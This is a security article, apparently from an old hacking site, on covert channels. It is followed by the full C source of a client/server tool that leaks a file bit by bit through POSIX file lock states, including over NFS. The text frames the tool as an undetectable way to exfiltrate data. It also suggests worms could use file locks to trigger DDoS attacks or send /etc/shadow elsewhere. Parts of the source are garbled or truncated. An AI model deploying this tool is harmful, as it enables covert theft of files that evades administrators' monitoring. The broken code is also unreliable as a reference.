www.networkpenetration.com Ste Jones root@networkpenetration.com Stenographied file transfer using posix file locks -------------------------------------------------- Source code available from www.networkpenetration.com Introduction ------------ Every computer system is insecure! Why? because by using any system resources that are available to each process information can be leaked. Say for example you can detect CPU usage remotely (possible by measuring the time taken for a ping reply for example). If the CPU is under a heavy load say 100% utilization the packet will take longer to be processed and return a reply than if the CPU has a light load of say 10%. By being able to detecting the difference would allow a 1 and a 0 to be leaked from the system (any one wishing to implement this have a look at Ackerman’s function). The likelihood of the CPU usage being monitored for stenography use is low, but it is a viable covert channel for leaking information. There is no way every possible convert channel can be blocked even in high level military MLS (Multilevel security) systems such as SCOMP (Secure Communications Processor), Pump (developed by the US Naval Research Laboratory), and Purple Penelope (A NT workstation MLS wrapper from the British Defense Evaluation and Research Agency). A system can be highly tightened to stop information been leaked but a covert channel will always exist. Other examples of covert channels are pictures (e.g. bitmaps, gif's and picts), packet headers (e.g. ACK tunneling), hard disk access times, process ID's, bus cycles, last access time on files, network protocols, temporarily denial of servicing a host (jolt2 anyone?), there are numerous others including file locks - the topic of this paper. How it works ------------ A file lock is used to ensure that only one process is allowed access to a file at a time. File locks are essential in concurrent systems where multiple processes / threads may be accessing the same file. Say for example process-A is reading a file, and the process is context switched (i.e. process-A is switched with process-B to give the illusion of running multiple programs at the same time (concurrent)), process-B then starts and writes to the same file process-A was reading. When process-A starts running again the contents of the file will have changed thus the result of process-A will probably be incorrect. File locks are used so that only one process can access a file at any one time, thus solving the problem of multiple processes accessing the same file. By allowing only one process access to a file and denying all other processes a covert channel can be created. A 1 can be represented when a file is locked, whereas a 0 can be represented by the file not being locked. If a 1 or 0 can be detected, information can be leaked. On a busy multi-user system there will multiple file locks at anyone time so there is hardy any chance that the administrator would be monitoring patterns in file locks for information being leaked thus a covert channel. Setup conditions ---------------- 34 files are used to signal between the client and server. The first 2 files are used for synchronization and the other 32 are used to represent 32 bits (4 bytes). The server leaks the required file by splitting it into sets of 32 bits and then sets a posix file lock on the corresponding files. By having a client process detect the posix file locks, information can be leaked. Why a posix file lock? Because it works over NFS without any changing any code. Whats posix? do your research The files used have to have certain access rights. All the files(except for 2nd file) the server has to have read and write access and the client read access. The 2nd file however requires the client to have read write access and the server read access. The first two files are used for synchronization, the first one is used to indicate the server has locked the required files and the client should read. The second file is used to indicate the client has read the file locks and the server should rewrite the file locks. For example: -rw-r--r-- The owner of the files acting as the server should have the above permissions on all of the 33 required files. The second file should be owned by the client and have the same permissions as above. The file being leaked just needs read access available to the server. You may think to yourself why not just flick the read flag on the file you wish to leak and copy the file the normal way, well you could do but that is obvious and covert channels are aimed at being undetectable / untraceable. File copying is not the only thing you could do with file locking, a worm could utilize file locking as one method of communication between each of its entities. Each file could represent a different command, say for example if /tmp/hitme.txt is locked launch a DDoS attack, or send a copy of /etc/shadow to a specific machine. Once the files have the correct rights and both parties (the leaker / obtainer) know which files and in what order (The order is crucial, as each file represents a different bit) the program can be run. On a local machine the issue the following commands: The server: ./filetrickery -s getme.txt sync1 sync2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 On the client side: ./filetrickert -c gotit.txt sync1 sync2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 The files can be called anything and it is probably not a good idea to call them sync1 sync2 1 2 3 4... etc as it may look obvious. Once both the client and server have started, the file locks are set and read repeatedly until the whole file is transmitted. How to set it up over NFS ------------------------- The source code has been tested over NFS between two Mandrake 8.0 machines and worked successfully. The same setup conditions as above apply but to get it working over NFS the following is also required; If you know how to setup NFS you can skip over most of this section. On both machines edit the /etc/exports and enter /tmp 192.168.*.*(rw) This allows all the machines on the 192.168 network have access to /tmp. Insecure but you get the idea On machineA enter the following mount machineB:/tmp /dump On machineB enter mount machineA:/tmp /dump where /tmp is the directory to be exported by the server and /dump being the local mount point. So both machines require a /dump directory and makes sure that both machines have entries in /etc/hosts for the relevant machines The server then issues the command ./filetrickery -s getme.txt /tmp/sync1 /dump/sync2 /tmp/1 /tmp/2 /tmp/3 /tmp/4 /tmp/5 /tmp/6 /tmp/7 /tmp/8 /tmp/9 /tmp/10 /tmp11 /tmp/12 /tmp/13 /tmp/14 /tmp/15 /tmp/16 /tmp/17 /tmp/18 /tmp/19 /tmp/20/ tmp/21 /tmp/22 /tmp/23 /tmp/24 /tmp/25 /tmp/26 /tmp/27 /tmp/28 /tmp/29 /tmp/30 /tmp/31 /tmp/32 and on the client side the command is ./filetrickery -c gotit.txt /dump/sync1 /tmp/sync2 /dump/1 /dump/2 /dump/3 /dump/4 /dump/5 /dump/6 /dump/7 /dump/8 /dump/9 /dump/10 /dump/11 /dump/12 /dump/13 /dump/14 /dump/15 /dump/16 /dump/17 /dump/18 /dump/19 /dump/20 /dump/21 /dump/22 /dump/23 /dump/24 /dump/25 /dump/26 /dump/27 /dump/28 /dump/29 /dump/30 /dump/31 /dump/32 Once the file has finsihed copying unmount the directory and remove the line out of the /etc/exports file. Conclusion ---------- Monitoring / combating this sort of attack pretty hard to do. A packet log would show that the client tried to access certain files and that some locks succeeded while others failed. This could be interpreted as a bit stream after some serious analysis but it would take some time. NFS could be blocked but the principle of using file locks as a covert channel is still the same. In concurrent systems there is no way of combating this sort of attack as file locks are essential to protect the machines integrity. There are numerous ways to increase the complexity of the attack including adding fake locks to add noise to the attack. Also when the client detects what files have been locked, the order in which it checks the files could be randomized. //filetrickery.c //www.networkpenetration.com //File Trickery - Stenoghrapied file copy using posix file locks. //Ste Jones root@networkpenetration.com // //compile: gcc filetrickery.c -Wall -o filetrickery // //Tested on Linux Mandrake 8.0 //Tested over NFS between two mandrake 8 machines // //To Do //----- //1. spoof args //2. remove trailing 0's by sending size at start of transfer //3. randomize order //4. add spoofed locks #include #include #include #include #include #include #include #include #include #include #include #define VER "0.91" #define TIMEOUT 3 //after timeout save and close the obtained file #define INITTIMEOUT 30 //time for client to wait for server to start #define SLEEP 1 //used to lower CPU usage #define VERBOSE 1//0: less info displayed, 1: loads of info displayed, 2: debug mode static struct flock lockit, unlockit, wrlockit; int makefile(void); void how2use(char *progname); void server(void); void client(void); int openfile(void); int filesize(void); void displaybits(char ); struct fname{ char *files; }; struct files { char *sync1; char *sync2; struct fname fn[32]; }; char *sfile; char *cfile; struct files f[1]; //ugh why does 0 not work? int main(int argc, char *argv[]) { int c; sfile = NULL; cfile = NULL; lockit.l_type = F_RDLCK; lockit.l_whence = SEEK_SET; lockit.l_start = 0; lockit.l_len = 0; unlockit.l_type = F_UNLCK; unlockit.l_whence = SEEK_SET; unlockit.l_start = 0; unlockit.l_len = 0; wrlockit.l_type = F_WRLCK; wrlockit.l_whence = SEEK_SET; wrlockit.l_start = 0; wrlockit.l_len = 0; printf("\nFile Trickery " VER " from www.networkpenetration.com\n"); printf("--------------------------------------------------\n"); opterr = 0; while ((c = getopt(argc, argv, "c:s:")) != -1){ switch(c){ case 'c': cfile = optarg; break; case 's': sfile = optarg; break; default: how2use(argv[0]); break; } } if (sfile && cfile) { printf("Select either (c)lient or (s)erver from the command line\n"); exit(1); } if(argc != 37){ how2use(argv[0]); exit(1); } f->sync1 = argv[3]; f->sync2 = argv[4]; c = 0; for(c=0; c<32; c++){ f->fn[c].files = argv[c+5]; } if (cfile) { printf("starting client\n"); client(); exit(1); } if (sfile) { printf("starting server\n"); server(); exit(1); } exit(1); } //(set values, flagA1, check flagB1, set values, flagA0, check flagB0).... void server(void) { unsigned char buf[0]; FILE *fd; register int bytecount, bitcount, lockcount, filecount, p,q; int lockfd[32]; size_t count; int syncfd1; register int syncfd2; struct flock test; register int lock; int fsize; fsize = filesize(); printf("Leaking: %s Size: %d bytes\n", sfile, fsize); fd = fopen(sfile, "r"); if (!fd){ printf("Doh.... %s can't be opened\n", sfile); exit(1); } bytecount = 0; memset(lockfd, '\0', sizeof(lockfd)); count = 1; lock = 0; //alternate 0 1 for each pass to ensure sync while (count !=0){ if(!lock) lock = 1; //lock starts on 1 else lock = 0; filecount = 0; lockcount = 0; for(q=0; q<4 || count == 0; q++){ memset(buf, '\0', sizeof(buf)); count = fread(buf, 1, 1,fd); if (count == 0) { if(ferror(fd) !=0){ printf("File Error\n"); exit(0); } if(feof(fd) !=0){ count = 0; break; } } for(bitcount=1; bitcount<=128; bitcount=bitcount*2){ if (bitcount &buf[0]){ if(VERBOSE) printf("byte %d bit:%d 1 ",bytecount,bitcount); if((lockfd[lockcount] = open(f->fn[filecount].files, O_WRONLY)) == -1) { printf("\nDoh.... %s can't be opened as %s\n", f->fn[filecount].files, strerror(errno)); exit(1); } if(fcntl(lockfd[lockcount], F_SETLK, &wrlockit) == -1){ printf("\nDoh.... Lock can't be set on %s as %s\n", f->fn[filecount].files, strerror(errno)); exit(1); } else { if(VERBOSE) printf("locked file %s\n", f->fn[filecount].files); } lockcount++; } else { if(VERBOSE) printf("byte %d bit:%d 0\n",bytecount,bitcount); } filecount++; } bytecount++; } if(lock) { if((syncfd1 = open(f->sync1, O_WRONLY)) == -1) { printf("\nDoh.... %s can't be opened as %s\n", f->sync1, strerror(errno)); exit(1); } if(fcntl(syncfd1, F_SETLK, &wrlockit) == -1){ printf("\nDoh.... Lock can't be set on %s as %s\n", f->sync1, strerror(errno)); exit(1); } else { printf("locked %s.... waiting for client to read\n", f->sync1); goto checkit; } } if(!lock){ if(fcntl(syncfd1, F_SETLK, &unlockit) == -1){ printf("\nDoh.... Cant unlock %s as %s\n", f->sync1, strerror(errno)); exit(1); } else { printf("unlocked %s.... waiting for client to read\n", f->sync1); if(close(syncfd1) == -1){ printf("Doh.... close error on %s as %s\n", f->sync1, strerror(errno)); exit(1); } goto checkit; } } checkit: if((syncfd2 = open(f->sync2, O_RDONLY)) == -1) { printf("\nDoh.... %s can't be opened as %s\n", f->sync2, strerror(errno)); exit(1); } test.l_type = F_RDLCK; test.l_whence = SEEK_SET; test.l_start = 0; test.l_len = 0; if(lock){ if(fcntl(syncfd2, F_GETLK, &test) == -1){ printf("Doh.... Failed getting FLOCK info for %s as %s\n", f->sync2, strerror(errno)); exit(1); } if(test.l_type == F_UNLCK){ //not locked if(close(syncfd2) == -1){ printf("Doh.... close error on %s as %s\n",f->sync2, strerror(errno)); exit(1); } if(SLEEP) sleep(SLEEP); goto checkit; } else { //locked if(VERBOSE) printf("%s is locked.... setting file locks\n",f->sync2); if(VERBOSE == 2) printf("pid of owner: %d\n", test.l_pid); if(close(syncfd2) == -1){ printf("Doh.... close error on %s as %s\n",f->sync2, strerror(errno)); exit(1); } goto next; } }// end of lock if(!lock){ if(fcntl(syncfd2, F_GETLK, &test) == -1){ printf("Doh.... Failed getting FLOCK info for %s as %s\n", f->sync2, strerror(errno)); exit(1); } if(test.l_type == F_UNLCK){ printf("%s is not locked.... setting file locks\n", f->sync2);//continue if(close(syncfd2) == -1){ printf("Doh.... close error on %s as %s\n", f->sync2, strerror(errno)); exit(1); } goto next; } else { if(close(syncfd2) == -1){ printf("Doh.... close error on %s as %s\n",f->sync2, strerror(errno)); exit(1); } if(SLEEP) sleep(SLEEP); goto checkit; //wait } } next: for(p=0; p (timea + TIMEOUT)){ //close locks printf("Time exceeded.... closed and saved %s\n", cfile); fflush(fdout); fclose(fdout); //run remove 0's exit(1); } } if(!flag){ if(timeb > (timea+ INITTIMEOUT)){ printf("Doh.... Server start-up timed out\n"); fclose(fdout); exit(1); } } if(lock){ if((syncfd1 = open(f->sync1, O_RDONLY)) == -1) { printf("\nO_WRONLY.... %s can't be opened as %s\n", f->sync1, strerror(errno)); exit(1); } if(fcntl(syncfd1, F_GETLK, &test) == -1){ printf("Doh.... Failed getting FLOCK info for %s as %s\n", f->sync1, strerror(errno)); exit(1); } if(test.l_type == F_UNLCK){ //not locked if(close(syncfd1) == -1){ printf("Doh.... close error on %s as %s\n", f->sync1, strerror(errno)); exit(1); } goto check; } else { //locked printf("%s locked.... reading file locks\n", f->sync1); if(VERBOSE == 2) printf("pid of owner: %d\n", test.l_pid); if(close(syncfd1) == -1){ printf("Doh.... close error on %s as %s\n", f->sync1, strerror(errno)); exit(1); } goto read; } } if(!lock){ if((syncfd1 = open(f->sync1, O_RDONLY)) == -1) { printf("\nO_WRONLY.... %s can't be opened as %s\n", f->sync1, strerror(errno)); exit(1); } if(fcntl(syncfd1, F_GETLK, &test) == -1){ printf("Doh.... Failed getting FLOCK info for %s as %s\n", f->sync1, strerror(errno)); exit(1); } if(test.l_type == F_UNLCK){ //not locked printf("%s not locked.... reading file locks\n",f->sync1); if(close(syncfd1) == -1){ printf("Doh.... close error on %s as %s\n", f->sync1, strerror(errno)); exit(1); } goto read; } else { //locked if(close(syncfd1) == -1){ printf("Doh.... close error on %s as %s\n", f->sync1, strerror(errno)); exit(1); } goto check; } } read: bzero(fillme, sizeof(fillme)); flag = 1; bit = 1; byte = 0; a = -1; init++; for(i=0; i<32; i++){ a++; if(i == 0) { byte = 0; } if(a > 7){ a = 0; } test.l_type = F_WRLCK; test.l_whence = SEEK_SET; test.l_start = 0; test.l_len = 0; if(VERBOSE) printf("byte %d bit %d = ", bytecount + byte, bit); if((fd = open(f->fn[i].files, O_RDONLY)) == -1) { printf("\nO_WRONLY Doh.... %s can't be opened\n", f->fn[i].files); exit(1); } if(fcntl(fd, F_GETLK, &test) == -1){ printf("Doh.... Failed getting FLOCK info for %s as %s\n", f->fn[i].files, strerror(errno)); exit(1); } if(test.l_type == F_UNLCK){ //not locked fillme[byte] |= (0 << a); if(VERBOSE) printf("0\n"); if(close(fd) == -1){ printf("Doh.... close error on %s as %s\n", f->fn[i].files, strerror(errno)); exit(1); } } else { //locked fillme[byte] |= (1 << a); if(VERBOSE) printf("1\n"); if(close(fd) == -1){ printf("Doh.... close error on %s as %s\n", f->fn[i].files, strerror(errno)); exit(1); } } bit = bit*2; if(bit > 128){ bit = 1; byte++; } } bytecount = bytecount + 4; if(VERBOSE == 2) displaybits(fillme[0]); if(VERBOSE == 2) displaybits(fillme[1]); if(VERBOSE == 2) displaybits(fillme[2]); if(VERBOSE == 2) displaybits(fillme[3]); count = fwrite(fillme, 4, 1, fdout); if(count != 1){ printf("fwrite error\n"); exit(1); } goto lock; lock: if(lock){ //lock sync2 if((syncfd2 = open(f->sync2, O_WRONLY)) == -1) { printf("\nDoh.... %s can't be opened as %s\n", f->sync2, strerror(errno)); exit(1); } if(fcntl(syncfd2, F_SETLK, &wrlockit) == -1){ printf("\nDoh.... Lock can't be set on %s as %s\n", f->sync2, strerror(errno)); exit(1); } else { printf("locked %s....\n",f->sync2); timea = time(0); lock = 0; goto check; } } if(!lock){ if(fcntl(syncfd2, F_SETLK, &unlockit) == -1){ printf("\nDoh.... Can;t unlock %s as %s\n", f->sync2, strerror(errno)); exit(1); } else { printf("unlocked %s....\n", f->sync2); if(close(syncfd2) == -1){ printf("Doh.... close error on %s as %s\n", f->sync2, strerror(errno)); exit(1); } timea = time(0); lock = 1; goto check; } } } int makefile(void) { int filefd; char prefix[8]; strncpy(prefix, "XXXXXXX", sizeof(prefix)); filefd = mkstemp(prefix); if(filefd == -1){ if(errno == EINVAL) { printf("Doh.... template broke\n"); return(-1); } if(errno == EEXIST) { printf("Doh.... couldn't create unique temp file\n"); return(-1); } } printf("%s created\n", prefix); printf("FD = %d\n", filefd); return(filefd); } void displaybits(char printme) { unsigned c, displayMask = 1 << 7; printf("%c = ", printme); for (c = 1; c <=8; c++){ putchar(printme & displayMask ? '1' : '0'); printme <<= 1; } putchar('\n'); } int filesize(void) { FILE *fd; int size, count; char buf[0]; size = 0; fd = fopen(sfile, "r"); if (!fd){ printf("Doh.... %s can't be opened\n", sfile); exit(1); } for(;;){ count = fread(buf, 1, 1, fd); if (count == 0) { if(ferror(fd) !=0){ printf("File Error\n"); exit(0); } if(feof(fd) !=0){ goto end; } } size++; } end: if(fclose(fd) !=0 ){ printf("Fclose error on leaked file as %s\n", strerror(errno)); exit(1); } return(size); } void how2use(char *progname) { printf( "\nThe first two files are the sync files, the first one\n"\ "used be the server and the second by the client. The rights\n"\ "for all the files should be the server has read write access\n"\ "and the client read access. The second file however should\n"\ "have the opposite rights, the client should have read write\n"\ "access and the server have read access\n\n"\ "-s Act as server\n"\ "-c Act as client\n"\ "\n"\ "Usage:\n"\ " %s -s sendme.txt .... 34 files required\n"\ " %s -c gotit.txt .... 34 files same order as server\n", progname, progname); exit(1); }